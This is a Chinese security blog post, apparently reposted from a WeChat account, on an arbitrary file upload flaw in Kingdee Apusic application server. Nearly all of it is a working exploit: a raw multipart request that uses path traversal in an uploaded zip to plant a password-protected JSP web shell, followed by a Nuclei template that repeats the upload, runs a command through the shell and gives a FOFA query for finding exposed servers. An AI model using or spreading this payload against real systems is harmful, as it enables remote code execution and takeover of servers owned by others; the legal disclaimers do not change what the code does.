免责声明
此内容仅供技术交流与学习，请勿用于未经授权的场景。请遵循相关法律与道德规范。任何因使用本文所述技术而引发的法律责任，与本文作者及发布平台无关。如有内容争议或侵权，请及时联系我们。谢谢！
漏洞概述
金蝶 Apusic 应用服务器存在一个任意文件上传漏洞，攻击者可以通过构造恶意请求上传恶意文件到服务器，导致远程代码执行，危及服务器安全。
漏洞复现
POST /admin//protect/application/deployApp HTTP/1.1Host:User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbdAccept-Encoding: gzip------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="appName"111------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="deployInServer"false------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="clientFile"; filename="evil.zip"Content-Type: application/x-zip-compressed{{unquote("PKx03x04x14x00x00x00x00x00xe5yx09Ukx0axc8xe7dx01x00x00dx01x00x007x00x00x00../../../../applications/default/public_html/shell2.jsp<%x0dx0a if x28"admin".equalsx28request.getParameterx28"pwd"x29x29x29 x7bx0dx0a java.io.InputStream input = Runtime.getRuntimex28x29.execx28request.getParameterx28"cmd"x29x29.getInputStreamx28x29;x0dx0a int len = -1;x0dx0a byte[] bytes = new byte[4092];x0dx0a while x28x28len = input.readx28bytesx29x29 != -1x29 x7bx0dx0a out.printlnx28new Stringx28bytes, "GBK"x29x29;x0dx0a x7dx0dx0a x7dx0dx0a%>PKx01x02x14x03x14x00x00x00x00x00xe5yx09Ukx0axc8xe7dx01x00x00dx01x00x007x00x00x00x00x00x00x00x00x00x00x00xb4x81x00x00x00x00../../../../applications/default/public_html/shell2.jspPKx05x06x00x00x00x00x01x00x01x00ex00x00x00xb9x01x00x00x00x00")}}------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="archivePath"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="baseContext"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="startType"auto------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="loadon"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="virtualHost"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="allowHosts"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="denyHosts"------WebKitFormBoundaryd9acIBdVuqKWDJbd--
NUCLEI POC
id: kingdee-Apusic-deployApp-uploadinfo:name: 金蝶 Apusic 应用服务器任意文件上传漏洞author: rainseverity: highdescription: 金蝶 Apusic 应用服务器存在一个任意文件上传漏洞，攻击者可以通过构造恶意请求上传恶意文件到服务器，导致远程代码执行，危及服务器安全。tags:- file-upload- kingdeemetadata:fofa-query: app="Apusic应用服务器"http:- raw:- |POST /admin//protect/application/deployApp HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbdAccept-Encoding: gzip------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="appName"111------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="deployInServer"false------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="clientFile"; filename="evil.zip"Content-Type: application/x-zip-compressed"PKx03x04x14x00x00x00x00x00xe5yx09Ukx0axc8xe7dx01x00x00dx01x00x007x00x00x00../../../../applications/default/public_html/shell2.jsp<%x0dx0a if x28"admin".equalsx28request.getParameterx28"pwd"x29x29x29 x7bx0dx0a java.io.InputStream input = Runtime.getRuntimex28x29.execx28request.getParameterx28"cmd"x29x29.getInputStreamx28x29;x0dx0a int len = -1;x0dx0a byte[] bytes = new byte[4092];x0dx0a while x28x28len = input.readx28bytesx29x29 != -1x29 x7bx0dx0a out.printlnx28new Stringx28bytes, "GBK"x29x29;x0dx0a x7dx0dx0a x7dx0dx0a%>PKx01x02x14x03x14x00x00x00x00x00xe5yx09Ukx0axc8xe7dx01x00x00dx01x00x007x00x00x00x00x00x00x00x00x00x00x00xb4x81x00x00x00x00../../../../applications/default/public_html/shell2.jspPKx05x06x00x00x00x00x01x00x01x00ex00x00x00xb9x01x00x00x00x00"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="archivePath"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="baseContext"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="startType"auto------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="loadon"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="virtualHost"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="allowHosts"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="denyHosts"------WebKitFormBoundaryd9acIBdVuqKWDJbd--- |GET /shell2.jsp?pwd=admin&cmd=ifconfig HTTP/1.1Host: {{Hostname}}Accept-Encoding: gzipUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15matchers-condition: andmatchers:- type: dsldsl:- 'status_code_2==200 && contains(body_2, "eth0")'
原文始发于微信公众号（知黑守白）：「漏洞复现」金蝶 Apusic 应用服务器任意文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论